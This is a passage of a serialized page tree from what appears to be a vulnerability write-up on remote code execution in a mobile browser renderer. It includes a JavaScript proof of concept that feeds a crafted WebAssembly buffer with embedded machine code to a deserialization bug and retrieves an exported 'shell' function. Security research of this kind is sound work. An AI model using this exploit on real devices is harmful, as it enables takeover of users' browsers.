style":1539},[138392],{"type":27,"value":16103},{"type":22,"tag":264,"props":138394,"children":138395},{"class":1534,"line":1668},[138396,138401],{"type":22,"tag":264,"props":138397,"children":138398},{"style":4401},[138399],{"type":27,"value":138400},"    func",{"type":22,"tag":264,"props":138402,"children":138403},{"style":1539},[138404],{"type":27,"value":4977},{"type":22,"tag":264,"props":138406,"children":138407},{"class":1534,"line":1677},[138408],{"type":22,"tag":264,"props":138409,"children":138410},{"style":1539},[138411],{"type":27,"value":7163},{"type":22,"tag":264,"props":138413,"children":138414},{"class":1534,"line":1686},[138415],{"type":22,"tag":264,"props":138416,"children":138417},{"emptyLinePlaceholder":17},[138418],{"type":27,"value":4986},{"type":22,"tag":264,"props":138420,"children":138421},{"class":1534,"line":4948},[138422,138426,138430,138434,138438,138442,138446],{"type":22,"tag":264,"props":138423,"children":138424},{"style":4293},[138425],{"type":27,"value":9149},{"type":22,"tag":264,"props":138427,"children":138428},{"style":1549},[138429],{"type":27,"value":137235},{"type":22,"tag":264,"props":138431,"children":138432},{"style":4309},[138433],{"type":27,"value":4312},{"type":22,"tag":264,"props":138435,"children":138436},{"style":4401},[138437],{"type":27,"value":137244},{"type":22,"tag":264,"props":138439,"children":138440},{"style":1539},[138441],{"type":27,"value":2660},{"type":22,"tag":264,"props":138443,"children":138444},{"style":1549},[138445],{"type":27,"value":135159},{"type":22,"tag":264,"props":138447,"children":138448},{"style":1539},[138449],{"type":27,"value":5142},{"type":22,"tag":264,"props":138451,"children":138452},{"class":1534,"line":4957},[138453,138457,138461,138465,138469,138473,138477,138481,138485,138489],{"type":22,"tag":264,"props":138454,"children":138455},{"style":1549},[138456],{"type":27,"value":137280},{"type":22,"tag":264,"props":138458,"children":138459},{"style":4309},[138460],{"type":27,"value":4312},{"type":22,"tag":264,"props":138462,"children":138463},{"style":1539},[138464],{"type":27,"value":4370},{"type":22,"tag":264,"props":138466,"children":138467},{"style":4328},[138468],{"type":27,"value":34232},{"type":22,"tag":264,"props":138470,"children":138471},{"style":1549},[138472],{"type":27,"value":137235},{"type":22,"tag":264,"props":138474,"children":138475},{"style":1539},[138476],{"type":27,"value":210},{"type":22,"tag":264,"props":138478,"children":138479},{"style":4401},[138480],{"type":27,"value":58886},{"type":22,"tag":264,"props":138482,"children":138483},{"style":1539},[138484],{"type":27,"value":137309},{"type":22,"tag":264,"props":138486,"children":138487},{"style":1549},[138488],{"type":27,"value":40466},{"type":22,"tag":264,"props":138490,"children":138491},{"style":1539},[138492],{"type":27,"value":4322},{"type":22,"tag":264,"props":138494,"children":138495},{"class":1534,"line":4980},[138496,138500,138504,138508,138512,138516],{"type":22,"tag":264,"props":138497,"children":138498},{"style":1549},[138499],{"type":27,"value":103265},{"type":22,"tag":264,"props":138501,"children":138502},{"style":1539},[138503],{"type":27,"value":210},{"type":22,"tag":264,"props":138505,"children":138506},{"style":4401},[138507],{"type":27,"value":103274},{"type":22,"tag":264,"props":138509,"children":138510},{"style":1539},[138511],{"type":27,"value":2660},{"type":22,"tag":264,"props":138513,"children":138514},{"style":1549},[138515],{"type":27,"value":10379},{"type":22,"tag":264,"props":138517,"children":138518},{"style":1539},[138519],{"type":27,"value":5142},{"type":22,"tag":264,"props":138521,"children":138522},{"class":1534,"line":4989},[138523],{"type":22,"tag":264,"props":138524,"children":138525},{"emptyLinePlaceholder":17},[138526],{"type":27,"value":4986},{"type":22,"tag":264,"props":138528,"children":138529},{"class":1534,"line":4998},[138530,138534,138539,138543,138547,138551,138555,138559],{"type":22,"tag":264,"props":138531,"children":138532},{"style":4293},[138533],{"type":27,"value":9149},{"type":22,"tag":264,"props":138535,"children":138536},{"style":1549},[138537],{"type":27,"value":138538}," result_bytes",{"type":22,"tag":264,"props":138540,"children":138541},{"style":4309},[138542],{"type":27,"value":4312},{"type":22,"tag":264,"props":138544,"children":138545},{"style":4293},[138546],{"type":27,"value":33248},{"type":22,"tag":264,"props":138548,"children":138549},{"style":4401},[138550],{"type":27,"value":134765},{"type":22,"tag":264,"props":138552,"children":138553},{"style":1539},[138554],{"type":27,"value":2660},{"type":22,"tag":264,"props":138556,"children":138557},{"style":1549},[138558],{"type":27,"value":10379},{"type":22,"tag":264,"props":138560,"children":138561},{"style":1539},[138562],{"type":27,"value":5142},{"type":22,"tag":264,"props":138564,"children":138565},{"class":1534,"line":5067},[138566,138570,138574,138578,138582,138586,138590,138594,138598,138602,138606,138610,138614,138618,138622],{"type":22,"tag":264,"props":138567,"children":138568},{"style":1549},[138569],{"type":27,"value":103265},{"type":22,"tag":264,"props":138571,"children":138572},{"style":1539},[138573],{"type":27,"value":210},{"type":22,"tag":264,"props":138575,"children":138576},{"style":4401},[138577],{"type":27,"value":103274},{"type":22,"tag":264,"props":138579,"children":138580},{"style":1539},[138581],{"type":27,"value":2660},{"type":22,"tag":264,"props":138583,"children":138584},{"style":1597},[138585],{"type":27,"value":135332},{"type":22,"tag":264,"props":138587,"children":138588},{"style":4309},[138589],{"type":27,"value":10200},{"type":22,"tag":264,"props":138591,"children":138592},{"style":1549},[138593],{"type":27,"value":138538},{"type":22,"tag":264,"props":138595,"children":138596},{"style":1539},[138597],{"type":27,"value":210},{"type":22,"tag":264,"props":138599,"children":138600},{"style":4401},[138601],{"type":27,"value":135349},{"type":22,"tag":264,"props":138603,"children":138604},{"style":1539},[138605],{"type":27,"value":2660},{"type":22,"tag":264,"props":138607,"children":138608},{"style":1597},[138609],{"type":27,"value":135358},{"type":22,"tag":264,"props":138611,"children":138612},{"style":1539},[138613],{"type":27,"value":4390},{"type":22,"tag":264,"props":138615,"children":138616},{"style":4309},[138617],{"type":27,"value":673},{"type":22,"tag":264,"props":138619,"children":138620},{"style":1597},[138621],{"type":27,"value":135371},{"type":22,"tag":264,"props":138623,"children":138624},{"style":1539},[138625],{"type":27,"value":5142},{"type":22,"tag":264,"props":138627,"children":138628},{"class":1534,"line":5075},[138629],{"type":22,"tag":264,"props":138630,"children":138631},{"style":1539},[138632],{"type":27,"value":103306},{"type":22,"tag":23,"props":138634,"children":138635},{},[138636],{"type":27,"value":138637},"We get the serialized bytes:",{"type":22,"tag":23,"props":138639,"children":138640},{},[138641],{"type":22,"tag":215,"props":138642,"children":138645},{"alt":138643,"src":138644},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":22,"tag":23,"props":138647,"children":138648},{},[138649,138651,138656],{"type":27,"value":138650},"We can now embed this output into the original bytecode that calls ",{"type":22,"tag":257,"props":138652,"children":138654},{"className":138653},[],[138655],{"type":27,"value":134228},{"type":27,"value":5785},{"type":22,"tag":618,"props":138658,"children":138660},{"code":138659,"language":36930,"meta":7,"className":36928,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[138661],{"type":22,"tag":257,"props":138662,"children":138663},{"__ignoreMap":7},[138664,138687,138714,138933,139000,139007,139034,139245,139496,139747,139971,140153,140374,140452,140459,140506,140549,140585,140628,140667,140694],{"type":22,"tag":264,"props":138665,"children":138666},{"class":1534,"line":1535},[138667,138671,138675,138679,138683],{"type":22,"tag":264,"props":138668,"children":138669},{"style":1539},[138670],{"type":27,"value":2660},{"type":22,"tag":264,"props":138672,"children":138673},{"style":4293},[138674],{"type":27,"value":37460},{"type":22,"tag":264,"props":138676,"children":138677},{"style":1539},[138678],{"type":27,"value":41011},{"type":22,"tag":264,"props":138680,"children":138681},{"style":4293},[138682],{"type":27,"value":16121},{"type":22,"tag":264,"props":138684,"children":138685},{"style":1539},[138686],{"type":27,"value":4594},{"type":22,"tag":264,"props":138688,"children":138689},{"class":1534,"line":1545},[138690,138694,138698,138702,138706,138710],{"type":22,"tag":264,"props":138691,"children":138692},{"style":4293},[138693],{"type":27,"value":37503},{"type":22,"tag":264,"props":138695,"children":138696},{"style":1549},[138697],{"type":27,"value":134752},{"type":22,"tag":264,"props":138699,"children":138700},{"style":4309},[138701],{"type":27,"value":4312},{"type":22,"tag":264,"props":138703,"children":138704},{"style":4293},[138705],{"type":27,"value":33248},{"type":22,"tag":264,"props":138707,"children":138708},{"style":4401},[138709],{"type":27,"value":134765},{"type":22,"tag":264,"props":138711,"children":138712},{"style":1539},[138713],{"type":27,"value":134770},{"type":22,"tag":264,"props":138715,"children":138716},{"class":1534,"line":1560},[138717,138721,138725,138729,138733,138737,138741,138745,138749,138753,138757,138761,138765,138769,138773,138777,138781,138785,138789,138793,138797,138801,138805,138809,138813,138817,138821,138825,138829,138833,138837,138841,138845,138849,138853,138857,138861,138865,138869,138873,138877,138881,138885,138889,138893,138897,138901,138905,138909,138913,138917,138921,138925,138929],{"type":22,"tag":264,"props":138718,"children":138719},{"style":4344},[138720],{"type":27,"value":135495},{"type":22,"tag":264,"props":138722,"children":138723},{"style":1539},[138724],{"type":27,"value":4380},{"type":22,"tag":264,"props":138726,"children":138727},{"style":4344},[138728],{"type":27,"value":134787},{"type":22,"tag":264,"props":138730,"children":138731},{"style":1539},[138732],{"type":27,"value":4380},{"type":22,"tag":264,"props":138734,"children":138735},{"style":4344},[138736],{"type":27,"value":134796},{"type":22,"tag":264,"props":138738,"children":138739},{"style":1539},[138740],{"type":27,"value":4380},{"type":22,"tag":264,"props":138742,"children":138743},{"style":4344},[138744],{"type":27,"value":134805},{"type":22,"tag":264,"props":138746,"children":138747},{"style":1539},[138748],{"type":27,"value":4380},{"type":22,"tag":264,"props":138750,"children":138751},{"style":4344},[138752],{"type":27,"value":602},{"type":22,"tag":264,"props":138754,"children":138755},{"style":1539},[138756],{"type":27,"value":4380},{"type":22,"tag":264,"props":138758,"children":138759},{"style":4344},[138760],{"type":27,"value":5334},{"type":22,"tag":264,"props":138762,"children":138763},{"style":1539},[138764],{"type":27,"value":4380},{"type":22,"tag":264,"props":138766,"children":138767},{"style":4344},[138768],{"type":27,"value":5334},{"type":22,"tag":264,"props":138770,"children":138771},{"style":1539},[138772],{"type":27,"value":4380},{"type":22,"tag":264,"props":138774,"children":138775},{"style":4344},[138776],{"type":27,"value":5334},{"type":22,"tag":264,"props":138778,"children":138779},{"style":1539},[138780],{"type":27,"value":4380},{"type":22,"tag":264,"props":138782,"children":138783},{"style":4344},[138784],{"type":27,"value":602},{"type":22,"tag":264,"props":138786,"children":138787},{"style":1539},[138788],{"type":27,"value":4380},{"type":22,"tag":264,"props":138790,"children":138791},{"style":4344},[138792],{"type":27,"value":18831},{"type":22,"tag":264,"props":138794,"children":138795},{"style":1539},[138796],{"type":27,"value":4380},{"type":22,"tag":264,"props":138798,"children":138799},{"style":4344},[138800],{"type":27,"value":602},{"type":22,"tag":264,"props":138802,"children":138803},{"style":1539},[138804],{"type":27,"value":4380},{"type":22,"tag":264,"props":138806,"children":138807},{"style":4344},[138808],{"type":27,"value":134870},{"type":22,"tag":264,"props":138810,"children":138811},{"style":1539},[138812],{"type":27,"value":4380},{"type":22,"tag":264,"props":138814,"children":138815},{"style":4344},[138816],{"type":27,"value":5334},{"type":22,"tag":264,"props":138818,"children":138819},{"style":1539},[138820],{"type":27,"value":4380},{"type":22,"tag":264,"props":138822,"children":138823},{"style":4344},[138824],{"type":27,"value":5334},{"type":22,"tag":264,"props":138826,"children":138827},{"style":1539},[138828],{"type":27,"value":4380},{"type":22,"tag":264,"props":138830,"children":138831},{"style":4344},[138832],{"type":27,"value":18598},{"type":22,"tag":264,"props":138834,"children":138835},{"style":1539},[138836],{"type":27,"value":4380},{"type":22,"tag":264,"props":138838,"children":138839},{"style":4344},[138840],{"type":27,"value":3568},{"type":22,"tag":264,"props":138842,"children":138843},{"style":1539},[138844],{"type":27,"value":4380},{"type":22,"tag":264,"props":138846,"children":138847},{"style":4344},[138848],{"type":27,"value":602},{"type":22,"tag":264,"props":138850,"children":138851},{"style":1539},[138852],{"type":27,"value":4380},{"type":22,"tag":264,"props":138854,"children":138855},{"style":4344},[138856],{"type":27,"value":5334},{"type":22,"tag":264,"props":138858,"children":138859},{"style":1539},[138860],{"type":27,"value":4380},{"type":22,"tag":264,"props":138862,"children":138863},{"style":4344},[138864],{"type":27,"value":55992},{"type":22,"tag":264,"props":138866,"children":138867},{"style":1539},[138868],{"type":27,"value":4380},{"type":22,"tag":264,"props":138870,"children":138871},{"style":4344},[138872],{"type":27,"value":57206},{"type":22,"tag":264,"props":138874,"children":138875},{"style":1539},[138876],{"type":27,"value":4380},{"type":22,"tag":264,"props":138878,"children":138879},{"style":4344},[138880],{"type":27,"value":602},{"type":22,"tag":264,"props":138882,"children":138883},{"style":1539},[138884],{"type":27,"value":4380},{"type":22,"tag":264,"props":138886,"children":138887},{"style":4344},[138888],{"type":27,"value":885},{"type":22,"tag":264,"props":138890,"children":138891},{"style":1539},[138892],{"type":27,"value":4380},{"type":22,"tag":264,"props":138894,"children":138895},{"style":4344},[138896],{"type":27,"value":134796},{"type":22,"tag":264,"props":138898,"children":138899},{"style":1539},[138900],{"type":27,"value":4380},{"type":22,"tag":264,"props":138902,"children":138903},{"style":4344},[138904],{"type":27,"value":134967},{"type":22,"tag":264,"props":138906,"children":138907},{"style":1539},[138908],{"type":27,"value":4380},{"type":22,"tag":264,"props":138910,"children":138911},{"style":4344},[138912],{"type":27,"value":134976},{"type":22,"tag":264,"props":138914,"children":138915},{"style":1539},[138916],{"type":27,"value":4380},{"type":22,"tag":264,"props":138918,"children":138919},{"style":4344},[138920],{"type":27,"value":134985},{"type":22,"tag":264,"props":138922,"children":138923},{"style":1539},[138924],{"type":27,"value":4380},{"type":22,"tag":264,"props":138926,"children":138927},{"style":4344},[138928],{"type":27,"value":134985},{"type":22,"tag":264,"props":138930,"children":138931},{"style":1539},[138932],{"type":27,"value":4812},{"type":22,"tag":264,"props":138934,"children":138935},{"class":1534,"line":1569},[138936,138940,138944,138948,138952,138956,138960,138964,138968,138972,138976,138980,138984,138988,138992,138996],{"type":22,"tag":264,"props":138937,"children":138938},{"style":4344},[138939],{"type":27,"value":135495},{"type":22,"tag":264,"props":138941,"children":138942},{"style":1539},[138943],{"type":27,"value":4380},{"type":22,"tag":264,"props":138945,"children":138946},{"style":4344},[138947],{"type":27,"value":5334},{"type":22,"tag":264,"props":138949,"children":138950},{"style":1539},[138951],{"type":27,"value":4380},{"type":22,"tag":264,"props":138953,"children":138954},{"style":4344},[138955],{"type":27,"value":346},{"type":22,"tag":264,"props":138957,"children":138958},{"style":1539},[138959],{"type":27,"value":4380},{"type":22,"tag":264,"props":138961,"children":138962},{"style":4344},[138963],{"type":27,"value":18831},{"type":22,"tag":264,"props":138965,"children":138966},{"style":1539},[138967],{"type":27,"value":4380},{"type":22,"tag":264,"props":138969,"children":138970},{"style":4344},[138971],{"type":27,"value":602},{"type":22,"tag":264,"props":138973,"children":138974},{"style":1539},[138975],{"type":27,"value":4380},{"type":22,"tag":264,"props":138977,"children":138978},{"style":4344},[138979],{"type":27,"value":3568},{"type":22,"tag":264,"props":138981,"children":138982},{"style":1539},[138983],{"type":27,"value":4380},{"type":22,"tag":264,"props":138985,"children":138986},{"style":4344},[138987],{"type":27,"value":5334},{"type":22,"tag":264,"props":138989,"children":138990},{"style":1539},[138991],{"type":27,"value":4380},{"type":22,"tag":264,"props":138993,"children":138994},{"style":4344},[138995],{"type":27,"value":135061},{"type":22,"tag":264,"props":138997,"children":138998},{"style":1539},[138999],{"type":27,"value":4812},{"type":22,"tag":264,"props":139001,"children":139002},{"class":1534,"line":1583},[139003],{"type":22,"tag":264,"props":139004,"children":139005},{"style":1539},[139006],{"type":27,"value":135782},{"type":22,"tag":264,"props":139008,"children":139009},{"class":1534,"line":1603},[139010,139014,139018,139022,139026,139030],{"type":22,"tag":264,"props":139011,"children":139012},{"style":4293},[139013],{"type":27,"value":37503},{"type":22,"tag":264,"props":139015,"children":139016},{"style":1549},[139017],{"type":27,"value":126567},{"type":22,"tag":264,"props":139019,"children":139020},{"style":4309},[139021],{"type":27,"value":4312},{"type":22,"tag":264,"props":139023,"children":139024},{"style":4293},[139025],{"type":27,"value":33248},{"type":22,"tag":264,"props":139027,"children":139028},{"style":4401},[139029],{"type":27,"value":134765},{"type":22,"tag":264,"props":139031,"children":139032},{"style":1539},[139033],{"type":27,"value":134770},{"type":22,"tag":264,"props":139035,"children":139036},{"class":1534,"line":1612},[139037,139042,139046,139050,139054,139058,139062,139066,139070,139075,139079,139084,139088,139093,139097,139102,139106,139110,139114,139118,139122,139126,139130,139134,139138,139143,139147,139152,139156,139161,139165,139169,139173,139177,139181,139185,139189,139193,139197,139201,139205,139209,139213,139217,139221,139225,139229,139233,139237,139241],{"type":22,"tag":264,"props":139038,"children":139039},{"style":4344},[139040],{"type":27,"value":139041},"    146",{"type":22,"tag":264,"props":139043,"children":139044},{"style":1539},[139045],{"type":27,"value":4380},{"type":22,"tag":264,"props":139047,"children":139048},{"style":4344},[139049],{"type":27,"value":19723},{"type":22,"tag":264,"props":139051,"children":139052},{"style":1539},[139053],{"type":27,"value":4380},{"type":22,"tag":264,"props":139055,"children":139056},{"style":4344},[139057],{"type":27,"value":135834},{"type":22,"tag":264,"props":139059,"children":139060},{"style":1539},[139061],{"type":27,"value":4380},{"type":22,"tag":264,"props":139063,"children":139064},{"style":4344},[139065],{"type":27,"value":135843},{"type":22,"tag":264,"props":139067,"children":139068},{"style":1539},[139069],{"type":27,"value":4380},{"type":22,"tag":264,"props":139071,"children":139072},{"style":4344},[139073],{"type":27,"value":139074},"174",{"type":22,"tag":264,"props":139076,"children":139077},{"style":1539},[139078],{"type":27,"value":4380},{"type":22,"tag":264,"props":139080,"children":139081},{"style":4344},[139082],{"type":27,"value":139083},"122",{"type":22,"tag":264,"props":139085,"children":139086},{"style":1539},[139087],{"type":27,"value":4380},{"type":22,"tag":264,"props":139089,"children":139090},{"style":4344},[139091],{"type":27,"value":139092},"171",{"type":22,"tag":264,"props":139094,"children":139095},{"style":1539},[139096],{"type":27,"value":4380},{"type":22,"tag":264,"props":139098,"children":139099},{"style":4344},[139100],{"type":27,"value":139101},"151",{"type":22,"tag":264,"props":139103,"children":139104},{"style":1539},[139105],{"type":27,"value":4380},{"type":22,"tag":264,"props":139107,"children":139108},{"style":4344},[139109],{"type":27,"value":97988},{"type":22,"tag":264,"props":139111,"children":139112},{"style":1539},[139113],{"type":27,"value":4380},{"type":22,"tag":264,"props":139115,"children":139116},{"style":4344},[139117],{"type":27,"value":5334},{"type":22,"tag":264,"props":139119,"children":139120},{"style":1539},[139121],{"type":27,"value":4380},{"type":22,"tag":264,"props":139123,"children":139124},{"style":4344},[139125],{"type":27,"value":5334},{"type":22,"tag":264,"props":139127,"children":139128},{"style":1539},[139129],{"type":27,"value":4380},{"type":22,"tag":264,"props":139131,"children":139132},{"style":4344},[139133],{"type":27,"value":5334},{"type":22,"tag":264,"props":139135,"children":139136},{"style":1539},[139137],{"type":27,"value":4380},{"type":22,"tag":264,"props":139139,"children":139140},{"style":4344},[139141],{"type":27,"value":139142},"39",{"type":22,"tag":264,"props":139144,"children":139145},{"style":1539},[139146],{"type":27,"value":4380},{"type":22,"tag":264,"props":139148,"children":139149},{"style":4344},[139150],{"type":27,"value":139151},"61",{"type":22,"tag":264,"props":139153,"children":139154},{"style":1539},[139155],{"type":27,"value":4380},{"type":22,"tag":264,"props":139157,"children":139158},{"style":4344},[139159],{"type":27,"value":139160},"60",{"type":22,"tag":264,"props":139162,"children":139163},{"style":1539},[139164],{"type":27,"value":4380},{"type":22,"tag":264,"props":139166,"children":139167},{"style":4344},[139168],{"type":27,"value":97988},{"type":22,"tag":264,"props":139170,"children":139171},{"style":1539},[139172],{"type":27,"value":4380},{"type":22,"tag":264,"props":139174,"children":139175},{"style":4344},[139176],{"type":27,"value":5334},{"type":22,"tag":264,"props":139178,"children":139179},{"style":1539},[139180],{"type":27,"value":4380},{"type":22,"tag":264,"props":139182,"children":139183},{"style":4344},[139184],{"type":27,"value":42162},{"type":22,"tag":264,"props":139186,"children":139187},{"style":1539},[139188],{"type":27,"value":4380},{"type":22,"tag":264,"props":139190,"children":139191},{"style":4344},[139192],{"type":27,"value":18598},{"type":22,"tag":264,"props":139194,"children":139195},{"style":1539},[139196],{"type":27,"value":4380},{"type":22,"tag":264,"props":139198,"children":139199},{"style":4344},[139200],{"type":27,"value":5334},{"type":22,"tag":264,"props":139202,"children":139203},{"style":1539},[139204],{"type":27,"value":4380},{"type":22,"tag":264,"props":139206,"children":139207},{"style":4344},[139208],{"type":27,"value":5334},{"type":22,"tag":264,"props":139210,"children":139211},{"style":1539},[139212],{"type":27,"value":4380},{"type":22,"tag":264,"props":139214,"children":139215},{"style":4344},[139216],{"type":27,"value":5334},{"type":22,"tag":264,"props":139218,"children":139219},{"style":1539},[139220],{"type":27,"value":4380},{"type":22,"tag":264,"props":139222,"children":139223},{"style":4344},[139224],{"type":27,"value":5334},{"type":22,"tag":264,"props":139226,"children":139227},{"style":1539},[139228],{"type":27,"value":4380},{"type":22,"tag":264,"props":139230,"children":139231},{"style":4344},[139232],{"type":27,"value":5334},{"type":22,"tag":264,"props":139234,"children":139235},{"style":1539},[139236],{"type":27,"value":4380},{"type":22,"tag":264,"props":139238,"children":139239},{"style":4344},[139240],{"type":27,"value":30736},{"type":22,"tag":264,"props":139242,"children":139243},{"style":1539},[139244],{"type":27,"value":4812},{"type":22,"tag":264,"props":139246,"children":139247},{"class":1534,"line":1621},[139248,139252,139256,139260,139264,139268,139272,139276,139280,139284,139288,139292,139296,139300,139304,139308,139312,139316,139320,139324,139328,139332,139336,139340,139344,139348,139352,139356,139360,139364,139368,139372,139376,139380,139384,139388,139392,139396,139400,139404,139408,139412,139416,139420,139424,139428,139432,139436,139440,139444,139448,139452,139456,139460,139464,139468,139472,139476,139480,139484,139488,139492],{"type":22,"tag":264,"props":139249,"children":139250},{"style":4344},[139251],{"type":27,"value":135495},{"type":22,"tag":264,"props":139253,"children":139254},{"style":1539},[139255],{"type":27,"value":4380},{"type":22,"tag":264,"props":139257,"children":139258},{"style":4344},[139259],{"type":27,"value":5334},{"type":22,"tag":264,"props":139261,"children":139262},{"style":1539},[139263],{"type":27,"value":4380},{"type":22,"tag":264,"props":139265,"children":139266},{"style":4344},[139267],{"type":27,"value":5334},{"type":22,"tag":264,"props":139269,"children":139270},{"style":1539},[139271],{"type":27,"value":4380},{"type":22,"tag":264,"props":139273,"children":139274},{"style":4344},[139275],{"type":27,"value":5334},{"type":22,"tag":264,"props":139277,"children":139278},{"style":1539},[139279],{"type":27,"value":4380},{"type":22,"tag":264,"props":139281,"children":139282},{"style":4344},[139283],{"type":27,"value":5334},{"type":22,"tag":264,"props":139285,"children":139286},{"style":1539},[139287],{"type":27,"value":4380},{"type":22,"tag":264,"props":139289,"children":139290},{"style":4344},[139291],{"type":27,"value":5334},{"type":22,"tag":264,"props":139293,"children":139294},{"style":1539},[139295],{"type":27,"value":4380},{"type":22,"tag":264,"props":139297,"children":139298},{"style":4344},[139299],{"type":27,"value":5334},{"type":22,"tag":264,"props":139301,"children":139302},{"style":1539},[139303],{"type":27,"value":4380},{"type":22,"tag":264,"props":139305,"children":139306},{"style":4344},[139307],{"type":27,"value":602},{"type":22,"tag":264,"props":139309,"children":139310},{"style":1539},[139311],{"type":27,"value":4380},{"type":22,"tag":264,"props":139313,"children":139314},{"style":4344},[139315],{"type":27,"value":5334},{"type":22,"tag":264,"props":139317,"children":139318},{"style":1539},[139319],{"type":27,"value":4380},{"type":22,"tag":264,"props":139321,"children":139322},{"style":4344},[139323],{"type":27,"value":5334},{"type":22,"tag":264,"props":139325,"children":139326},{"style":1539},[139327],{"type":27,"value":4380},{"type":22,"tag":264,"props":139329,"children":139330},{"style":4344},[139331],{"type":27,"value":5334},{"type":22,"tag":264,"props":139333,"children":139334},{"style":1539},[139335],{"type":27,"value":4380},{"type":22,"tag":264,"props":139337,"children":139338},{"style":4344},[139339],{"type":27,"value":5334},{"type":22,"tag":264,"props":139341,"children":139342},{"style":1539},[139343],{"type":27,"value":4380},{"type":22,"tag":264,"props":139345,"children":139346},{"style":4344},[139347],{"type":27,"value":5334},{"type":22,"tag":264,"props":139349,"children":139350},{"style":1539},[139351],{"type":27,"value":4380},{"type":22,"tag":264,"props":139353,"children":139354},{"style":4344},[139355],{"type":27,"value":5334},{"type":22,"tag":264,"props":139357,"children":139358},{"style":1539},[139359],{"type":27,"value":4380},{"type":22,"tag":264,"props":139361,"children":139362},{"style":4344},[139363],{"type":27,"value":5334},{"type":22,"tag":264,"props":139365,"children":139366},{"style":1539},[139367],{"type":27,"value":4380},{"type":22,"tag":264,"props":139369,"children":139370},{"style":4344},[139371],{"type":27,"value":5334},{"type":22,"tag":264,"props":139373,"children":139374},{"style":1539},[139375],{"type":27,"value":4380},{"type":22,"tag":264,"props":139377,"children":139378},{"style":4344},[139379],{"type":27,"value":18831},{"type":22,"tag":264,"props":139381,"children":139382},{"style":1539},[139383],{"type":27,"value":4380},{"type":22,"tag":264,"props":139385,"children":139386},{"style":4344},[139387],{"type":27,"value":46445},{"type":22,"tag":264,"props":139389,"children":139390},{"style":1539},[139391],{"type":27,"value":4380},{"type":22,"tag":264,"props":139393,"children":139394},{"style":4344},[139395],{"type":27,"value":5334},{"type":22,"tag":264,"props":139397,"children":139398},{"style":1539},[139399],{"type":27,"value":4380},{"type":22,"tag":264,"props":139401,"children":139402},{"style":4344},[139403],{"type":27,"value":5334},{"type":22,"tag":264,"props":139405,"children":139406},{"style":1539},[139407],{"type":27,"value":4380},{"type":22,"tag":264,"props":139409,"children":139410},{"style":4344},[139411],{"type":27,"value":5334},{"type":22,"tag":264,"props":139413,"children":139414},{"style":1539},[139415],{"type":27,"value":4380},{"type":22,"tag":264,"props":139417,"children":139418},{"style":4344},[139419],{"type":27,"value":135870},{"type":22,"tag":264,"props":139421,"children":139422},{"style":1539},[139423],{"type":27,"value":4380},{"type":22,"tag":264,"props":139425,"children":139426},{"style":4344},[139427],{"type":27,"value":5334},{"type":22,"tag":264,"props":139429,"children":139430},{"style":1539},[139431],{"type":27,"value":4380},{"type":22,"tag":264,"props":139433,"children":139434},{"style":4344},[139435],{"type":27,"value":5334},{"type":22,"tag":264,"props":139437,"children":139438},{"style":1539},[139439],{"type":27,"value":4380},{"type":22,"tag":264,"props":139441,"children":139442},{"style":4344},[139443],{"type":27,"value":5334},{"type":22,"tag":264,"props":139445,"children":139446},{"style":1539},[139447],{"type":27,"value":4380},{"type":22,"tag":264,"props":139449,"children":139450},{"style":4344},[139451],{"type":27,"value":46445},{"type":22,"tag":264,"props":139453,"children":139454},{"style":1539},[139455],{"type":27,"value":4380},{"type":22,"tag":264,"props":139457,"children":139458},{"style":4344},[139459],{"type":27,"value":5334},{"type":22,"tag":264,"props":139461,"children":139462},{"style":1539},[139463],{"type":27,"value":4380},{"type":22,"tag":264,"props":139465,"children":139466},{"style":4344},[139467],{"type":27,"value":5334},{"type":22,"tag":264,"props":139469,"children":139470},{"style":1539},[139471],{"type":27,"value":4380},{"type":22,"tag":264,"props":139473,"children":139474},{"style":4344},[139475],{"type":27,"value":5334},{"type":22,"tag":264,"props":139477,"children":139478},{"style":1539},[139479],{"type":27,"value":4380},{"type":22,"tag":264,"props":139481,"children":139482},{"style":4344},[139483],{"type":27,"value":46445},{"type":22,"tag":264,"props":139485,"children":139486},{"style":1539},[139487],{"type":27,"value":4380},{"type":22,"tag":264,"props":139489,"children":139490},{"style":4344},[139491],{"type":27,"value":5334},{"type":22,"tag":264,"props":139493,"children":139494},{"style":1539},[139495],{"type":27,"value":4812},{"type":22,"tag":264,"props":139497,"children":139498},{"class":1534,"line":1629},[139499,139503,139507,139511,139515,139519,139523,139527,139531,139535,139539,139543,139547,139551,139555,139559,139563,139567,139571,139575,139579,139583,139587,139591,139595,139599,139603,139607,139611,139615,139619,139623,139627,139631,139635,139639,139643,139647,139651,139655,139659,139663,139667,139671,139675,139679,139683,139687,139691,139695,139699,139703,139707,139711,139715,139719,139723,139727,139731,139735,139739,139743],{"type":22,"tag":264,"props":139500,"children":139501},{"style":4344},[139502],{"type":27,"value":135495},{"type":22,"tag":264,"props":139504,"children":139505},{"style":1539},[139506],{"type":27,"value":4380},{"type":22,"tag":264,"props":139508,"children":139509},{"style":4344},[139510],{"type":27,"value":5334},{"type":22,"tag":264,"props":139512,"children":139513},{"style":1539},[139514],{"type":27,"value":4380